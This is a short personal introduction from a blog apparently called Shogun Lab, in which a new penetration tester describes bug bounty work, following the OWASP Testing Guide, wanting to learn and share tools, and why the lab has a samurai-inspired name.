]]>I conduct penetration tests on websites who are under the scope of bug bounty programs (such as HackerOne) and perform vulnerability assessments on applications. I follow the OWASP Testing Guide v4 to conduct these tests and try hard to clearly explain my findings to companies/government agencies I report to. Good communication to me is one of the most important functions I can perform as a penetration tester and I’m hoping to improve my writing by regularly posting blog updates on this site.
As someone who is new to the computer security industry, I have a ton of things to learn. I recently attended a Capture the Flag talk at Shopify and hearing some hackers from the industry explain various techniques/topics was humbling (turns out I don’t know all that much!). At the same time, I am eager to learn as much as I can and talk with other computer security folks to see what I can do better. Through Shogun Lab, I aim to give back to the community by helping others who are interested know more about security topics and sharing any tools I develop that make my life as a pentester easier.
P.S: Maybe you were wondering, what’s with the name “Shogun Lab”? Well, I am quite fond of Japanese culture and recently learned about how samurai would be hired by the wealthy elites in the Edo period of Japan for protection. I thought this is somewhat analogous to how hackers are being hired by businesses to protect their assets (plus, it gave me an excuse to use kanji and katakana in the title).
ありがとうございます。
]]>